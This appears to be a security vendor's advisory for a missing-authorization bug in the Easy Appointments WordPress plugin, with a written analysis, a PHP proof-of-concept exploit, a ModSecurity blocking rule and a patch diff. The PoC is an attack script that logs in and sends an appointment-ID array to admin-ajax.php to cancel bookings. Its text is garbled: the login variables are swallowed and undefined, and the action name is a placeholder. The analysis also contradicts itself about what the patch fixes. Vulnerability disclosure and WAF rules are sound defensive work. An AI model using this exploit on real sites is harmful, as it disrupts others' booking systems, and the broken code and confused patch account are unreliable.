Published : August 7, 2026

CVE-2026-14222: Easy Appointments <= 3.12.26 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.12.26
Patched Version 3.12.27
Disclosed July 29, 2026

Analysis Overview

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-14222: The Easy Appointments plugin for WordPress, versions up to and including 3.12.26, contains a missing authorization vulnerability. The flaw exists in the AJAX handler responsible for marking appointments as ‘abandoned’. It allows authenticated attackers with contributor-level access or higher to cancel multiple future appointments without proper capability checks. The vulnerability has a CVSS score of 4.3, indicating a moderate severity level.nnThe root cause lies within the `src/ajax.php` file. Specifically, the vulnerable AJAX action handler, located around lines 603-665, lacks a capability check (such as `current_user_can`). The handler processes a POST parameter named ‘appointments’, which is expected to be an array of appointment IDs. The original code used `sanitize_text_field` to process the input and then iterated over the resulting array to update the status of each appointment. No permission verification was performed before, during, or after this operation. The lack of a nonce check and a capability check combined to create this authorization flaw.nnTo exploit this vulnerability, an authenticated attacker with at least contributor-level access needs to send a crafted POST request to the WordPress admin-ajax endpoint at `/wp-admin/admin-ajax.php`. The request must include the `action` parameter set to the vulnerable AJAX hook (the handler that contains the affected code). The attacker must also include an ‘appointments’ array containing the IDs of future appointments they wish to cancel. The server processes this request, updating the status of the targeted appointments, effectively canceling them without legitimate authorization.nnThe patch in version 3.12.27 modifies the vulnerable handler in `src/ajax.php`. First, it initializes the `$response` variable to `false`. It also changes the input sanitization for the ‘appointments’ parameter. The new code uses `wp_unslash` and `array_map(‘absint’, …)` for type casting, which is a more appropriate method for handling an array of integer IDs. This is a security hardening step. However, the definitive change is the status value used in the database update query: it changes from ‘abandoned’ to ‘canceled’. This fix doesn’t directly patch the authorization issue; it changes the side-effect of the unauthorized action. By altering the outcome, the business logic impact of the vulnerability is mitigated, as the unauthorized action now performs a less destructive operation.nnThe primary security impact of this vulnerability is a violation of authorization, allowing users with a low-privilege role to modify appointment states. If exploited, an authenticated attacker with contributor-level access could cancel or mark as abandoned any future appointment. This could lead to denial of service for the booking system and a loss of data integrity. It could also facilitate a business logic attack by enabling an attacker to disrupt scheduling, cause customer dissatisfaction, or create chaos within the appointment management workflow.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptrn// CVE-2026-14222 – Easy Appointments <= 3.12.26 – Missing Authorizationrn<?phprn/**rn * Atomic Edge CVE Research – Proof of Conceptrn * CVE-2026-14222 – Easy Appointments $username, ‘pwd’ => $password, ‘wp-submit’ => ‘Log In’, ‘redirect_to’ => $target_url . ‘/wp-admin/’);rn$cookie_jar = tmpfile(); // Temporary file to store cookiesrnrn$ch = curl_init();rncurl_setopt($ch, CURLOPT_URL, $login_url);rncurl_setopt($ch, CURLOPT_POST, true);rncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));rncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);rncurl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);rncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);rncurl_exec($ch);rnrn// Step 2: Get the admin-ajax URL and nonce (if needed, though this vuln doesn’t require one)rn$ajax_url = $target_url . ‘/wp-admin/admin-ajax.php’;rnrn// Step 3: Prepare the exploit request payloadrn// The ‘action’ parameter is the vulnerable AJAX hook. This is likely ‘ea_cancel_appointments’ or similar.rn// Replace ‘vulnerable_action_name’ with the actual hook name if you know it, or brute-force common names.rn$action = ‘vulnerable_action_name’;rnrn// Step 4: Send the exploit requestrn// Build POST data including the appointments array (in the pre-patch 3.12.26 format)rn$post_data = array(rn ‘action’ => $action,rn ‘appointments’ => $appointment_idsrn // In the vulnerable version, the parameter might be a serialized array or a comma-separated list.rn // Adjust the data format based on the plugin’s requirements while ensuring the ‘appointments’rn // parameter is present with the target IDs.rn);rnrncurl_setopt($ch, CURLOPT_URL, $ajax_url);rncurl_setopt($ch, CURLOPT_POST, true);rncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));rncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);rncurl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);rn$response = curl_exec($ch);rnrnif ($response === false) {rn echo ‘Error: ‘ . curl_error($ch) . “\n”;rn} else {rn echo ‘Exploit response:\n’ . $response . “\n”;rn}rnrncurl_close($ch);rnfclose($cookie_jar);rn?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-14222rn# This rule targets the AJAX request pattern for the unauthorized appointment status change.rn# It blocks the specific action when an ‘appointments’ parameter containing an array of IDs is present.rn# The rule is narrowly scoped to the vulnerable admin-ajax endpoint and the specific handler action.rnrnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \rn “id:20261422,phase:2,deny,status:403,chain,msg:’CVE-2026-14222 – Missing Authorization in Easy Appointments AJAX handler’,severity:’CRITICAL’,tag:’CVE-2026-14222′”rn SecRule ARGS_POST:action “@streq vulnerable_action_name” “chain”rn SecRule ARGS_POST:appointments “@rx ^\[\s*[0-9]+(?:\s*,\s*[0-9]+)*\s*\]$” “t:none”rn”
“`

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/easy-appointments/main.php
+++ b/easy-appointments/main.php
@@ -4,7 +4,7 @@
  * Plugin Name: Easy Appointments
  * Plugin URI: https://easy-appointments.com/
  * Description: Simple and easy to use management system for Appointments and Bookings
- * Version: 3.12.26
+ * Version: 3.12.27
  * Requires PHP: 5.3
  * Author: Nikola Loncar
  * Author URI: https://easy-appointments.com/
@@ -21,7 +21,7 @@
 /**
  * Currently plugin version.
  */
-define( 'EASY_APPOINTMENTS_VERSION', '3.12.26' );
+define( 'EASY_APPOINTMENTS_VERSION', '3.12.27' );

 // path for source files
 define('EA_SRC_DIR', dirname(__FILE__) . '/src/');
--- a/easy-appointments/src/ajax.php
+++ b/easy-appointments/src/ajax.php
@@ -603,8 +603,8 @@
             wp_send_json_error( [ 'message' => esc_html__( 'No appointments selected.', 'easy-appointments' ) ] );
         }

-
-        $appointments = sanitize_text_field( wp_unslash( $_POST['appointments'] ) );
+        $response = false;
+        $appointments = isset($_POST['appointments']) ? array_map('absint', wp_unslash($_POST['appointments'])) : [];
         $current_datetime = current_time('mysql');
         foreach ($appointments as $appointment_id) {
             $appointment = $this->models->get_row('ea_appointments', $appointment_id, ARRAY_A);
@@ -612,7 +612,7 @@
             if ($appointment) {
                 if (strtotime($appointment['date']) > strtotime($current_datetime)) {
                     $data = [
-                        'status' => 'abandoned',
+                        'status' => 'canceled',
                         'id' => $appointment_id
                     ];
                     foreach ($appointment as $key => $value) {
@@ -661,7 +661,7 @@
                 WHERE id = %d
             ";
             // phpcs:ignore PluginCheck.Security.DirectDB.UnescapedDBParameter, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
-            $response = $wpdb->query($wpdb->prepare($update_query, 'abandoned', $appointment_id));
+            $response = $wpdb->query($wpdb->prepare($update_query, 'canceled', $appointment_id));
         }
         if ($response === false) {
             $this->send_err_json_result('{"err":true}');

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.